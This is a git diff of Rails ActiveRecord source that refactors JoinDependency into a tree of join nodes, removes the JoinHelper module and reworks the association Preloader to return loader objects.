@@ -1,15 +1,79 @@
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
- autoload :JoinPart, 'active_record/associations/join_dependency/join_part'
autoload :JoinBase, 'active_record/associations/join_dependency/join_base'
autoload :JoinAssociation, 'active_record/associations/join_dependency/join_association'
- attr_reader :join_parts, :reflections, :alias_tracker, :base_klass
+ class Aliases # :nodoc:
+ def initialize(tables)
+ @tables = tables
+ @alias_cache = tables.each_with_object({}) { |table,h|
+ h[table.node] = table.columns.each_with_object({}) { |column,i|
+ i[column.name] = column.alias
+ }
+ }
+ @name_and_alias_cache = tables.each_with_object({}) { |table,h|
+ h[table.node] = table.columns.map { |column|
+ [column.name, column.alias]
+ }
+ }
+ end
+
+ def columns
+ @tables.flat_map { |t| t.column_aliases }
+ end
+
+ # An array of [column_name, alias] pairs for the table
+ def column_aliases(node)
+ @name_and_alias_cache[node]
+ end
+
+ def column_alias(node, column)
+ @alias_cache[node][column]
+ end
+
+ class Table < Struct.new(:node, :columns)
+ def table
+ Arel::Nodes::TableAlias.new node.table, node.aliased_table_name
+ end
+
+ def column_aliases
+ t = table
+ columns.map { |column| t[column.name].as Arel.sql column.alias }
+ end
+ end
+ Column = Struct.new(:name, :alias)
+ end
+
+ attr_reader :alias_tracker, :base_klass, :join_root
+
+ def self.make_tree(associations)
+ hash = {}
+ walk_tree associations, hash
+ hash
+ end
+
+ def self.walk_tree(associations, hash)
+ case associations
+ when Symbol, String
+ hash[associations.to_sym] ||= {}
+ when Array
+ associations.each do |assoc|
+ walk_tree assoc, hash
+ end
+ when Hash
+ associations.each do |k,v|
+ cache = hash[k] ||= {}
+ walk_tree v, cache
+ end
+ else
+ raise ConfigurationError, associations.inspect
+ end
+ end
# base is the base class on which operation is taking place.
# associations is the list of associations which are joined using hash, symbol or array.
- # joins is the list of all string join commnads and arel nodes.
+ # joins is the list of all string join commands and arel nodes.
#
# Example :
#
@@ -19,221 +83,191 @@ module ActiveRecord
# end
#
# If I execute `@physician.patients.to_a` then
- # base #=> Physician
- # associations #=> []
- # joins #=> [#<Arel::Nodes::InnerJoin: ...]
+ # base # => Physician
+ # associations # => []
+ # joins # => [#<Arel::Nodes::InnerJoin: ...]
#
# However if I execute `Physician.joins(:appointments).to_a` then
- # base #=> Physician
- # associations #=> [:appointments]
- # joins #=> []
+ # base # => Physician
+ # associations # => [:appointments]
+ # joins # => []
#
def initialize(base, associations, joins)
- @base_klass = base
- @table_joins = joins
- @join_parts = [JoinBase.new(base)]
- @associations = {}
- @reflections = []
- @alias_tracker = AliasTracker.new(base.connection, joins)
- @alias_tracker.aliased_name_for(base.table_name) # Updates the count for base.table_name to 1
- build(associations)
- end
-
- def graft(*associations)
- associations.each do |association|
- join_associations.detect {|a| association == a} ||
- build(association.reflection.name, association.find_parent_in(self) || join_base, association.join_type)
- end
- self
+ @alias_tracker = AliasTracker.create(base.connection, joins)
+ @alias_tracker.aliased_name_for(base.table_name, base.table_name) # Updates the count for base.table_name to 1
+ tree = self.class.make_tree associations
+ @join_root = JoinBase.new base, build(tree, base)
+ @join_root.children.each { |child| construct_tables! @join_root, child }
end
- def join_associations
- join_parts.drop 1
+ def reflections
+ join_root.drop(1).map!(&:reflection)
end
- def join_base
- join_parts.first
- end
+ def join_constraints(outer_joins)
+ joins = join_root.children.flat_map { |child|
+ make_inner_joins join_root, child
+ }
- def join_relation(relation)
- join_associations.inject(relation) do |rel,association|
- association.join_relation(rel)
- end
+ joins.concat outer_joins.flat_map { |oj|
+ if join_root.match? oj.join_root
+ walk join_root, oj.join_root
+ else
+ oj.join_root.children.flat_map { |child|
+ make_outer_joins oj.join_root, child
+ }
+ end
+ }
end
- def columns
- join_parts.collect { |join_part|
- table = join_part.aliased_table
- join_part.column_names_with_alias.collect{ |column_name, aliased_name|
- table[column_name].as Arel.sql(aliased_name)
+ def aliases
+ Aliases.new join_root.each_with_index.map { |join_part,i|
+ columns = join_part.column_names.each_with_index.map { |column_name,j|
+ Aliases::Column.new column_name, "t#{i}_r#{j}"
}
- }.flatten
+ Aliases::Table.new(join_part, columns)
+ }
end
- def instantiate(rows)
- primary_key = join_base.aliased_primary_key
- parents = {}
+ def instantiate(result_set, aliases)
+ primary_key = aliases.column_alias(join_root, join_root.primary_key)
+ type_caster = result_set.column_type primary_key
- records = rows.map { |model|
- primary_id = model[primary_key]
- parent = parents[primary_id] ||= join_base.instantiate(model)
- construct(parent, @associations, join_associations, model)
- parent
- }.uniq
-
- remove_duplicate_results!(base_klass, records, @associations)
- records
- end
+ seen = Hash.new { |h,parent_klass|
+ h[parent_klass] = Hash.new { |i,parent_id|
+ i[parent_id] = Hash.new { |j,child_klass| j[child_klass] = {} }
+ }
+ }
- protected
+ model_cache = Hash.new { |h,klass| h[klass] = {} }
+ parents = model_cache[join_root]
+ column_aliases = aliases.column_aliases join_root
- def remove_duplicate_results!(base, records, associations)
- case associations
- when Symbol, String
- reflection = base.reflections[associations]
- remove_uniq_by_reflection(reflection, records)
- when Array
- associations.each do |association|
- remove_duplicate_results!(base, records, association)
- end
- when Hash
- associations.each_key do |name|
- reflection = base.reflections[name]
- remove_uniq_by_reflection(reflection, records)
-
- parent_records = []
- records.each do |record|
- if descendant = record.send(reflection.name)
- if reflection.collection?
- parent_records.concat descendant.target.uniq
- else
- parent_records << descendant
- end
- end
- end
+ result_set.each { |row_hash|
+ primary_id = type_caster.type_cast row_hash[primary_key]
+ parent = parents[primary_id] ||= join_root.instantiate(row_hash, column_aliases)
+ construct(parent, join_root, row_hash, result_set, seen, model_cache, aliases)
+ }
- remove_duplicate_results!(reflection.klass, parent_records, associations[name]) unless parent_records.empty?
- end
- end
+ parents.values
end
- def cache_joined_association(association)
- associations = []
- parent = association.parent
- while parent != join_base
- associations.unshift(parent.reflection.name)
- parent = parent.parent
- end
- ref = @associations
- associations.each do |key|
- ref = ref[key]
- end
- ref[association.reflection.name] ||= {}
+ private
+
+ def make_constraints(parent, child, tables, join_type)
+ chain = child.reflection.chain
+ foreign_table = parent.table
+ foreign_klass = parent.base_klass
+ child.join_constraints(foreign_table, foreign_klass, child, join_type, tables, child.reflection.scope_chain, chain)
end
- def build(associations, parent = join_parts.last, join_type = Arel::InnerJoin)
- case associations
- when Symbol, String
- reflection = parent.reflections[associations.intern] or
- raise ConfigurationError, "Association named '#{ associations }' was not found on #{ parent.base_klass.name }; perhaps you misspelled it?"
- unless join_association = find_join_association(reflection, parent)
- @reflections << reflection
- join_association = build_join_association(reflection, parent)
- join_association.join_type = join_type
- @join_parts << join_association
- cache_joined_association(join_association)
- end
- join_association
- when Array
- associations.each do |association|
- build(association, parent, join_type)
- end
- when Hash
- associations.keys.sort_by { |a| a.to_s }.each do |name|
- join_association = build(name, parent, join_type)
- build(associations[name], join_association, join_type)
- end
- else
- raise ConfigurationError, associations.inspect
- end
+ def make_outer_joins(parent, child)
+ tables = table_aliases_for(parent, child)
+ join_type = Arel::Nodes::OuterJoin
+ info = make_constraints parent, child, tables, join_type
+
+ [info] + child.children.flat_map { |c| make_outer_joins(child, c) }
end
- def find_join_association(name_or_reflection, parent)
- if String === name_or_reflection
- name_or_reflection = name_or_reflection.to_sym
- end
+ def make_inner_joins(parent, child)
+ tables = child.tables
+ join_type = Arel::Nodes::InnerJoin
+ info = make_constraints parent, child, tables, join_type
- join_associations.detect { |j|
- j.reflection == name_or_reflection && j.parent == parent
+ [info] + child.children.flat_map { |c| make_inner_joins(child, c) }
+ end
+
+ def table_aliases_for(parent, node)
+ node.reflection.chain.map { |reflection|
+ alias_tracker.aliased_table_for(
+ reflection.table_name,
+ table_alias_for(reflection, parent, reflection != node.reflection)
+ )
}
end
- def remove_uniq_by_reflection(reflection, records)
- if reflection && reflection.collection?
- records.each { |record| record.send(reflection.name).target.uniq! }
- end
+ def construct_tables!(parent, node)
+ node.tables = table_aliases_for(parent, node)
+ node.children.each { |child| construct_tables! node, child }
end
- def build_join_association(reflection, parent)
- JoinAssociation.new(reflection, self, parent)
+ def table_alias_for(reflection, parent, join)
+ name = "#{reflection.plural_name}_#{parent.table_name}"
+ name << "_join" if join
+ name
end
- def construct(parent, associations, join_parts, row)
- case associations
- when Symbol, String
- name = associations.to_s
+ def walk(left, right)
+ intersection, missing = right.children.map { |node1|
+ [left.children.find { |node2| node1.match? node2 }, node1]
+ }.partition(&:first)
- join_part = join_parts.detect { |j|
- j.reflection.name.to_s == name &&
- j.parent_table_name == parent.class.table_name }
+ ojs = missing.flat_map { |_,n| make_outer_joins left, n }
+ intersection.flat_map { |l,r| walk l, r }.concat ojs
+ end
- raise(ConfigurationError, "No such association") unless join_part
+ def find_reflection(klass, name)
+ klass.reflect_on_association(name) or
+ raise ConfigurationError, "Association named '#{ name }' was not found on #{ klass.name }; perhaps you misspelled it?"
+ end
- join_parts.delete(join_part)
- construct_association(parent, join_part, row)
- when Array
- associations.each do |association|
- construct(parent, association, join_parts, row)
- end
- when Hash
- associations.sort_by { |k,_| k.to_s }.each do |association_name, assoc|
- association = construct(parent, association_name, join_parts, row)
- construct(association, assoc, join_parts, row) if association
+ def build(associations, base_klass)
+ associations.map do |name, right|
+ reflection = find_reflection base_klass, name
+ reflection.check_validity!
+
+ if reflection.options[:polymorphic]
+ raise EagerLoadPolymorphicError.new(reflection)
end
- else
- raise ConfigurationError, associations.inspect
+
+ JoinAssociation.new reflection, build(right, reflection.klass)
end
end
- def construct_association(record, join_part, row)
- return if record.id.to_s != join_part.parent.record_id(row).to_s
+ def construct(ar_parent, parent, row, rs, seen, model_cache, aliases)
+ primary_id = ar_parent.id
- macro = join_part.reflection.macro
- if macro == :has_one
- return record.association(join_part.reflection.name).target if record.association_cache.key?(join_part.reflection.name)
- association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
- set_target_and_inverse(join_part, association, record)
- else
- association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
- case macro
- when :has_many, :has_and_belongs_to_many
- other = record.association(join_part.reflection.name)
+ parent.children.each do |node|
+ if node.reflection.collection?
+ other = ar_parent.association(node.reflection.name)
other.loaded!
- other.target.push(association) if association
- other.set_inverse_instance(association)
- when :belongs_to
- set_target_and_inverse(join_part, association, record)
else
- raise ConfigurationError, "unknown macro: #{join_part.reflection.macro}"
+ if ar_parent.association_cache.key?(node.reflection.name)
+ model = ar_parent.association(node.reflection.name).target
+ construct(model, node, row, rs, seen, model_cache, aliases)
+ next
+ end
+ end
+
+ key = aliases.column_alias(node, node.primary_key)
+ id = row[key]
+ next if id.nil?
+
+ model = seen[parent.base_klass][primary_id][node.base_klass][id]
+
+ if model
+ construct(model, node, row, rs, seen, model_cache, aliases)
+ else
+ model = construct_model(ar_parent, node, row, model_cache, id, aliases)
+ seen[parent.base_klass][primary_id][node.base_klass][id] = model
+ construct(model, node, row, rs, seen, model_cache, aliases)
end
end
- association
end
- def set_target_and_inverse(join_part, association, record)
- other = record.association(join_part.reflection.name)
- other.target = association
- other.set_inverse_instance(association)
+ def construct_model(record, node, row, model_cache, id, aliases)
+ model = model_cache[node][id] ||= node.instantiate(row,
+ aliases.column_aliases(node))
+ other = record.association(node.reflection.name)
+
+ if node.reflection.collection?
+ other.target.push(model)
+ else
+ other.target = model
+ end
+
+ other.set_inverse_instance(model)
+ model
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
index e0715d9dd1..a0e83c0a02 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -1,132 +1,89 @@
+require 'active_record/associations/join_dependency/join_part'
+
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
class JoinAssociation < JoinPart # :nodoc:
- include JoinHelper
-
# The reflection of the association represented
attr_reader :reflection
- # The JoinDependency object which this JoinAssociation exists within. This is mainly
- # relevant for generating aliases which do not conflict with other joins which are
- # part of the query.
- attr_reader :join_dependency
-
- # A JoinBase instance representing the active record we are joining onto.
- # (So in Author.has_many :posts, the Author would be that base record.)
- attr_reader :parent
-
- # What type of join will be generated, either Arel::InnerJoin (default) or Arel::OuterJoin
- attr_accessor :join_type
-
- # These implement abstract methods from the superclass
- attr_reader :aliased_prefix
+ attr_accessor :tables
- attr_reader :tables
-
- delegate :options, :through_reflection, :source_reflection, :chain, :to => :reflection
- delegate :table, :table_name, :to => :parent, :prefix => :parent
- delegate :alias_tracker, :to => :join_dependency
-
- alias :alias_suffix :parent_table_name
-
- def initialize(reflection, join_dependency, parent = nil)
- reflection.check_validity!
-
- if reflection.options[:polymorphic]
- raise EagerLoadPolymorphicError.new(reflection)
- end
-
- super(reflection.klass)
+ def initialize(reflection, children)
+ super(reflection.klass, children)
@reflection = reflection
- @join_dependency = join_dependency
- @parent = parent
- @join_type = Arel::InnerJoin
- @aliased_prefix = "t#{ join_dependency.join_parts.size }"
- @tables = construct_tables.reverse
+ @tables = nil
end
- def ==(other)
- other.class == self.class &&
- other.reflection == reflection &&
- other.parent == parent
+ def match?(other)
+ return true if self == other
+ super && reflection == other.reflection
end
- def find_parent_in(other_join_dependency)
- other_join_dependency.join_parts.detect do |join_part|
- case parent
- when JoinBase
- parent.base_klass == join_part.base_klass
- else
- parent == join_part
- end
- end
- end
+ JoinInformation = Struct.new :joins, :binds
- def join_to(manager)
- tables = @tables.dup
- foreign_table = parent_table
- foreign_klass = parent.base_klass
+ def join_constraints(foreign_table, foreign_klass, node, join_type, tables, scope_chain, chain)
+ joins = []
+ bind_values = []
+ tables = tables.reverse
+
+ scope_chain_index = 0
+ scope_chain = scope_chain.reverse
# The chain starts with the target table, but we want to end with it here (makes
# more sense in this context), so we reverse
- chain.reverse.each_with_index do |reflection, i|
+ chain.reverse_each do |reflection|
table = tables.shift
+ klass = reflection.klass
case reflection.source_macro
when :belongs_to
key = reflection.association_primary_key
foreign_key = reflection.foreign_key
- when :has_and_belongs_to_many
- # Join the join table first...
- manager.from(join(
- table,
- table[reflection.foreign_key].
- eq(foreign_table[reflection.active_record_primary_key])
- ))
-
- foreign_table, table = table, tables.shift
-
- key = reflection.association_primary_key
- foreign_key = reflection.association_foreign_key
else
key = reflection.foreign_key
foreign_key = reflection.active_record_primary_key
end
- constraint = build_constraint(reflection, table, key, foreign_table, foreign_key)
+ constraint = build_constraint(klass, table, key, foreign_table, foreign_key)
- scope_chain_items = scope_chain[i]
+ scope_chain_items = scope_chain[scope_chain_index].map do |item|
+ if item.is_a?(Relation)
+ item
+ else
+ ActiveRecord::Relation.create(klass, table).instance_exec(node, &item)
+ end
+ end
+ scope_chain_index += 1
- if reflection.type
- scope_chain_items += [
- ActiveRecord::Relation.new(reflection.klass, table)
- .where(reflection.type => foreign_klass.base_class.name)
- ]
+ scope_chain_items.concat [klass.send(:build_default_scope, ActiveRecord::Relation.create(klass, table))].compact
+
+ rel = scope_chain_items.inject(scope_chain_items.shift) do |left, right|
+ left.merge right
end
- scope_chain_items += [reflection.klass.send(:build_default_scope)].compact
+ if rel && !rel.arel.constraints.empty?
+ bind_values.concat rel.bind_values
+ constraint = constraint.and rel.arel.constraints
+ end
- constraint = scope_chain_items.inject(constraint) do |chain, item|
- unless item.is_a?(Relation)
- item = ActiveRecord::Relation.new(reflection.klass, table).instance_exec(self, &item)
- end
+ if reflection.type
+ value = foreign_klass.base_class.name
+ column = klass.columns_hash[column.to_s]
- if item.arel.constraints.empty?
- chain
- else
- chain.and(item.arel.constraints)
- end
+ substitute = klass.connection.substitute_at(column, bind_values.length)
+ bind_values.push [column, value]
+ constraint = constraint.and table[reflection.type].eq substitute
end
- manager.from(join(table, constraint))
+ joins << table.create_join(table, table.create_on(constraint), join_type)
# The current table in this iteration becomes the foreign table in the next
- foreign_table, foreign_klass = table, reflection.klass
+ foreign_table, foreign_klass = table, klass
end
- manager
+ JoinInformation.new joins, bind_values
end
# Builds equality condition.
@@ -138,42 +95,32 @@ module ActiveRecord
# end
#
# If I execute `Physician.joins(:appointments).to_a` then
- # reflection #=> #<ActiveRecord::Reflection::AssociationReflection @macro=:has_many ...>
- # table #=> #<Arel::Table @name="appointments" ...>
- # key #=> physician_id
- # foreign_table #=> #<Arel::Table @name="physicians" ...>
- # foreign_key #=> id
+ # reflection # => #<ActiveRecord::Reflection::AssociationReflection @macro=:has_many ...>
+ # table # => #<Arel::Table @name="appointments" ...>
+ # key # => physician_id
+ # foreign_table # => #<Arel::Table @name="physicians" ...>
+ # foreign_key # => id
#
- def build_constraint(reflection, table, key, foreign_table, foreign_key)
+ def build_constraint(klass, table, key, foreign_table, foreign_key)
constraint = table[key].eq(foreign_table[foreign_key])
- if reflection.klass.finder_needs_type_condition?
+ if klass.finder_needs_type_condition?
constraint = table.create_and([
constraint,
- reflection.klass.send(:type_condition, table)
+ klass.send(:type_condition, table)
])
end
constraint
end
- def join_relation(joining_relation)
- self.join_type = Arel::OuterJoin
- joining_relation.joins(self)
- end
-
def table
- tables.last
+ tables.first
end
def aliased_table_name
table.table_alias || table.name
end
-
- def scope_chain
- @scope_chain ||= reflection.scope_chain.reverse
- end
-
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
index a7dacdbfd6..3a26c25737 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_base.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -1,18 +1,16 @@
+require 'active_record/associations/join_dependency/join_part'
+
module ActiveRecord
module Associations
class JoinDependency # :nodoc:
class JoinBase < JoinPart # :nodoc:
- def ==(other)
- other.class == self.class &&
- other.base_klass == base_klass
- end
-
- def aliased_prefix
- "t0"
+ def match?(other)
+ return true if self == other
+ super && base_klass == other.base_klass
end
def table
- Arel::Table.new(table_name, arel_engine)
+ base_klass.arel_table
end
def aliased_table_name
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
index b534569063..91e1c6a9d7 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_part.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -8,34 +8,36 @@ module ActiveRecord
# operations (for example a has_and_belongs_to_many JoinAssociation would result in
# two; one for the join table and one for the target table).
class JoinPart # :nodoc:
+ include Enumerable
+
# The Active Record class which this join part is associated 'about'; for a JoinBase
# this is the actual base model, for a JoinAssociation this is the target model of the
# association.
- attr_reader :base_klass
+ attr_reader :base_klass, :children
- delegate :table_name, :column_names, :primary_key, :reflections, :arel_engine, :to => :base_klass
+ delegate :table_name, :column_names, :primary_key, :to => :base_klass
- def initialize(base_klass)
+ def initialize(base_klass, children)
@base_klass = base_klass
- @cached_record = {}
@column_names_with_alias = nil
+ @children = children
end
- def aliased_table
- Arel::Nodes::TableAlias.new table, aliased_table_name
+ def name
+ reflection.name
end
- def ==(other)
- raise NotImplementedError
+ def match?(other)
+ self.class == other.class
end
- # An Arel::Table for the active_record
- def table
- raise NotImplementedError
+ def each(&block)
+ yield self
+ children.each { |child| child.each(&block) }
end
- # The prefix to be used when aliasing columns in the active_record's table
- def aliased_prefix
+ # An Arel::Table for the active_record
+ def table
raise NotImplementedError
end
@@ -44,33 +46,25 @@ module ActiveRecord
raise NotImplementedError
end
- # The alias for the primary key of the active_record's table
- def aliased_primary_key
- "#{aliased_prefix}_r0"
- end
+ def extract_record(row, column_names_with_alias)
+ # This code is performance critical as it is called per row.
+ # see: https://github.com/rails/rails/pull/12185
+ hash = {}
- # An array of [column_name, alias] pairs for the table
- def column_names_with_alias
- unless @column_names_with_alias
- @column_names_with_alias = []
+ index = 0
+ length = column_names_with_alias.length
- ([primary_key] + (column_names - [primary_key])).compact.each_with_index do |column_name, i|
- @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
- end
+ while index < length
+ column_name, alias_name = column_names_with_alias[index]
+ hash[column_name] = row[alias_name]
+ index += 1
end
- @column_names_with_alias
- end
-
- def extract_record(row)
- Hash[column_names_with_alias.map{|cn, an| [cn, row[an]]}]
- end
- def record_id(row)
- row[aliased_primary_key]
+ hash
end
- def instantiate(row)
- @cached_record[record_id(row)] ||= base_klass.instantiate(extract_record(row))
+ def instantiate(row, aliases)
+ base_klass.instantiate(extract_record(row, aliases))
end
end
end
diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb
deleted file mode 100644
index 5a41b40c8f..0000000000
--- a/activerecord/lib/active_record/associations/join_helper.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveRecord
- module Associations
- # Helper class module which gets mixed into JoinDependency::JoinAssociation and AssociationScope
- module JoinHelper #:nodoc:
-
- def join_type
- Arel::InnerJoin
- end
-
- private
-
- def construct_tables
- tables = []
- chain.each do |reflection|
- tables << alias_tracker.aliased_table_for(
- table_name_for(reflection),
- table_alias_for(reflection, reflection != self.reflection)
- )
-
- if reflection.source_macro == :has_and_belongs_to_many
- tables << alias_tracker.aliased_table_for(
- (reflection.source_reflection || reflection).join_table,
- table_alias_for(reflection, true)
- )
- end
- end
- tables
- end
-
- def table_name_for(reflection)
- reflection.table_name
- end
-
- def table_alias_for(reflection, join = false)
- name = "#{reflection.plural_name}_#{alias_suffix}"
- name << "_join" if join
- name
- end
-
- def join(table, constraint)
- table.create_join(table, table.create_on(constraint), join_type)
- end
- end
- end
-end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index 82bf426b22..311684d886 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -42,12 +42,9 @@ module ActiveRecord
autoload :HasManyThrough, 'active_record/associations/preloader/has_many_through'
autoload :HasOne, 'active_record/associations/preloader/has_one'
autoload :HasOneThrough, 'active_record/associations/preloader/has_one_through'
- autoload :HasAndBelongsToMany, 'active_record/associations/preloader/has_and_belongs_to_many'
autoload :BelongsTo, 'active_record/associations/preloader/belongs_to'
end
- attr_reader :records, :associations, :preload_scope, :model
-
# Eager loads the named associations for the given Active Record record(s).
#
# In this description, 'association name' shall refer to the name passed
@@ -82,38 +79,47 @@ module ActiveRecord
# [ :books, :author ]
# { author: :avatar }
# [ :books, { author: :avatar } ]
- def initialize(records, associations, preload_scope = nil)
- @records = Array.wrap(records).compact.uniq
- @associations = Array.wrap(associations)
- @preload_scope = preload_scope || Relation.new(nil, nil)
- end
- def run
- unless records.empty?
- associations.each { |association| preload(association) }
+ NULL_RELATION = Struct.new(:values, :bind_values).new({}, [])
+
+ def preload(records, associations, preload_scope = nil)
+ records = Array.wrap(records).compact.uniq
+ associations = Array.wrap(associations)
+ preload_scope = preload_scope || NULL_RELATION
+
+ if records.empty?
+ []
+ else
+ associations.flat_map { |association|
+ preloaders_on association, records, preload_scope
+ }
end
end
private
- def preload(association)
+ def preloaders_on(association, records, scope)
case association
when Hash
- preload_hash(association)
+ preloaders_for_hash(association, records, scope)
when Symbol
- preload_one(association)
+ preloaders_for_one(association, records, scope)
when String
- preload_one(association.to_sym)
+ preloaders_for_one(association.to_sym, records, scope)
else
raise ArgumentError, "#{association.inspect} was not recognised for preload"
end
end
- def preload_hash(association)
- association.each do |parent, child|
- Preloader.new(records, parent, preload_scope).run
- Preloader.new(records.map { |record| record.send(parent) }.flatten, child).run
- end
+ def preloaders_for_hash(association, records, scope)
+ parent, child = association.to_a.first # hash should only be of length 1
+
+ loaders = preloaders_for_one parent, records, scope
+
+ recs = loaders.flat_map(&:preloaded_records).uniq
+ loaders.concat Array.wrap(child).flat_map { |assoc|
+ preloaders_on assoc, recs, scope
+ }
end
# Not all records have the same class, so group then preload group on the reflection
@@ -123,52 +129,58 @@ module ActiveRecord
# Additionally, polymorphic belongs_to associations can have multiple associated
# classes, depending on the polymorphic_type field. So we group by the classes as
# well.
- def preload_one(association)
- grouped_records(association).each do |reflection, klasses|
- klasses.each do |klass, records|
- preloader_for(reflection).new(klass, records, reflection, preload_scope).run
+ def preloaders_for_one(association, records, scope)
+ grouped_records(association, records).flat_map do |reflection, klasses|
+ klasses.map do |rhs_klass, rs|
+ loader = preloader_for(reflection, rs, rhs_klass).new(rhs_klass, rs, reflection, scope)
+ loader.run self
+ loader
end
end
end
- def grouped_records(association)
- Hash[
- records_by_reflection(association).map do |reflection, records|
- [reflection, records.group_by { |record| association_klass(reflection, record) }]
- end
- ]
+ def grouped_records(association, records)
+ h = {}
+ records.each do |record|
+ assoc = record.association(association)
+ klasses = h[assoc.reflection] ||= {}
+ (klasses[assoc.klass] ||= []) << record
+ end
+ h
end
- def records_by_reflection(association)
- records.group_by do |record|
- reflection = record.class.reflections[association]
+ class AlreadyLoaded
+ attr_reader :owners, :reflection
- unless reflection
- raise ActiveRecord::ConfigurationError, "Association named '#{association}' was not found; " \
- "perhaps you misspelled it?"
- end
+ def initialize(klass, owners, reflection, preload_scope)
+ @owners = owners
+ @reflection = reflection
+ end
- reflection
+ def run(preloader); end
+
+ def preloaded_records
+ owners.flat_map { |owner| owner.association(reflection.name).target }
end
end
- def association_klass(reflection, record)
- if reflection.macro == :belongs_to && reflection.options[:polymorphic]
- klass = record.send(reflection.foreign_type)
- klass && klass.constantize
- else
- reflection.klass
- end
+ class NullPreloader
+ def self.new(klass, owners, reflection, preload_scope); self; end
+ def self.run(preloader); end
end
- def preloader_for(reflection)
+ def preloader_for(reflection, owners, rhs_klass)
+ return NullPreloader unless rhs_klass
+
+ if owners.first.association(reflection.name).loaded?
+ return AlreadyLoaded
+ end
+
case reflection.macro
when :has_many
reflection.options[:through] ? HasManyThrough : HasMany
when :has_one
reflection.options[:through] ? HasOneThrough : HasOne
- when :has_and_belongs_to_many
- HasAndBelongsToMany
when :belongs_to
BelongsTo
end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
index 82588905c6..bf461070e0 100644
--- a/activerecord/lib/active_record/associations/preloader/association.rb
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -3,6 +3,7 @@ module ActiveRecord
class Preloader
class Association #:nodoc:
attr_reader :owners, :reflection, :preload_scope, :model, :klass
+ attr_reader :preloaded_records
def initialize(klass, owners, reflection, preload_scope)
@klass = klass
@@ -12,15 +13,14 @@ module ActiveRecord
@model = owners.first && owners.first.class
@scope = nil
@owners_by_key = nil
+ @preloaded_records = []
end
- def run
- unless owners.first.association(reflection.name).loaded?
- preload
- end
+ def run(preloader)
+ preload(preloader)
end
- def preload
+ def preload(preloader)
raise NotImplementedError
end
@@ -29,6 +29,10 @@ module ActiveRecord
end
def records_for(ids)
+ query_scope(ids)
+ end
+
+ def query_scope(ids)
scope.where(association_key.in(ids))
end
@@ -52,12 +56,9 @@ module ActiveRecord
raise NotImplementedError
end
- # We're converting to a string here because postgres will return the aliased association
- # key in a habtm as a string (for whatever reason)
def owners_by_key
@owners_by_key ||= owners.group_by do |owner|
- key = owner[owner_key_name]
- key && key.to_s
+ owner[owner_key_name]
end
end
@@ -67,53 +68,73 @@ module ActiveRecord
private
- def associated_records_by_owner
+ def associated_records_by_owner(preloader)
owners_map = owners_by_key
owner_keys = owners_map.keys.compact
- if klass.nil? || owner_keys.empty?
- records = []
- else
+ # Each record may have multiple owners, and vice-versa
+ records_by_owner = owners.each_with_object({}) do |owner,h|
+ h[owner] = []
+ end
+
+ if owner_keys.any?
# Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
# Make several smaller queries if necessary or make one query if the adapter supports it
sliced = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
- records = sliced.map { |slice| records_for(slice).to_a }.flatten
- end
-
- # Each record may have multiple owners, and vice-versa
- records_by_owner = Hash[owners.map { |owner| [owner, []] }]
- records.each do |record|
- owner_key = record[association_key_name].to_s
- owners_map[owner_key].each do |owner|
- records_by_owner[owner] << record
+ records = load_slices sliced
+ records.each do |record, owner_key|
+ owners_map[owner_key].each do |owner|
+ records_by_owner[owner] << record
+ end
end
end
+
records_by_owner
end
+ def load_slices(slices)
+ @preloaded_records = slices.flat_map { |slice|
+ records_for(slice)
+ }
+
+ @preloaded_records.map { |record|
+ [record, record[association_key_name]]
+ }
+ end
+
def reflection_scope
@reflection_scope ||= reflection.scope ? klass.unscoped.instance_exec(nil, &reflection.scope) : klass.unscoped
end
def build_scope
scope = klass.unscoped
- scope.default_scoped = true
values = reflection_scope.values
+ reflection_binds = reflection_scope.bind_values
preload_values = preload_scope.values
+ preload_binds = preload_scope.bind_values
scope.where_values = Array(values[:where]) + Array(preload_values[:where])
scope.references_values = Array(values[:references]) + Array(preload_values[:references])
+ scope.bind_values = (reflection_binds + preload_binds)
- scope.select! preload_values[:select] || values[:select] || table[Arel.star]
+ scope._select! preload_values[:select] || values[:select] || table[Arel.star]
scope.includes! preload_values[:includes] || values[:includes]
+ if preload_values.key? :order
+ scope.order! preload_values[:order]
+ else
+ if values.key? :order
+ scope.order! values[:order]
+ end
+ end
+
if options[:as]
scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
end
- scope
+ klass.default_scoped.merge(scope)
end
end
end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
index e6cd35e7a1..5adffcd831 100644
--- a/activerecord/lib/active_record/associations/preloader/collection_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -9,8 +9,8 @@ module ActiveRecord
super.order(preload_scope.values[:order] || reflection_scope.values[:order])
end
- def preload
- associated_records_by_owner.each do |owner, records|
+ def preload(preloader)
+ associated_records_by_owner(preloader).each do |owner, records|
association = owner.association(reflection.name)
association.loaded!
association.target.concat(records)
